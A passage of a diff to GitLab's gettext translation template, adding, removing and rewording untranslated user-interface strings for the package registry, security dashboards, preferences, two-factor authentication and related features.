+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17011,18 +17578,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17056,9 +17617,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17143,6 +17701,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17158,6 +17722,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17176,9 +17743,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17215,27 +17779,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17284,13 +17839,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17434,7 +17995,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17938,6 +18499,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18091,13 +18655,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18109,6 +18673,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18400,15 +18967,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18799,6 +19360,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18823,6 +19387,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19414,7 +19981,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19423,10 +19990,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19486,6 +20062,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19540,6 +20119,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19621,6 +20203,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19951,9 +20536,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20050,6 +20632,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20143,6 +20728,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20185,6 +20773,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20254,9 +20845,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20290,9 +20878,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20305,12 +20890,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20359,15 +20938,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20551,9 +21124,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20743,9 +21313,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20926,6 +21502,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20938,6 +21517,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21064,6 +21646,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21094,6 +21679,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21142,6 +21730,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21184,6 +21775,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21391,6 +21985,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21418,13 +22015,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21445,6 +22066,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21472,7 +22096,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21508,13 +22132,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21529,19 +22150,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21553,6 +22168,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21571,13 +22189,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21649,7 +22267,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21658,6 +22276,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21688,9 +22309,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21814,6 +22432,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21844,6 +22465,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22033,6 +22657,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22045,6 +22675,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22363,19 +22999,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22471,6 +23107,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22513,7 +23152,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22564,12 +23203,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22627,6 +23275,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22756,10 +23407,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23656,6 +24307,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23704,6 +24358,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23716,6 +24373,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23899,6 +24559,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23968,9 +24634,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24007,16 +24670,13 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24043,6 +24703,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24073,6 +24736,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24127,6 +24793,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24229,13 +24901,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24274,6 +24946,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24391,6 +25066,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24466,12 +25144,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24484,6 +25165,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24634,19 +25318,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24670,6 +25354,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24700,7 +25387,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24874,9 +25561,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25039,15 +25723,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25108,6 +25792,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25483,9 +26170,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25570,9 +26254,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25594,9 +26284,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25657,6 +26344,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25801,6 +26491,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25870,9 +26563,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25888,10 +26590,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26074,7 +26788,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26164,6 +26878,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26245,9 +26962,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26263,7 +26977,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26338,7 +27052,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26428,9 +27142,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26482,9 +27193,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26728,9 +27436,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
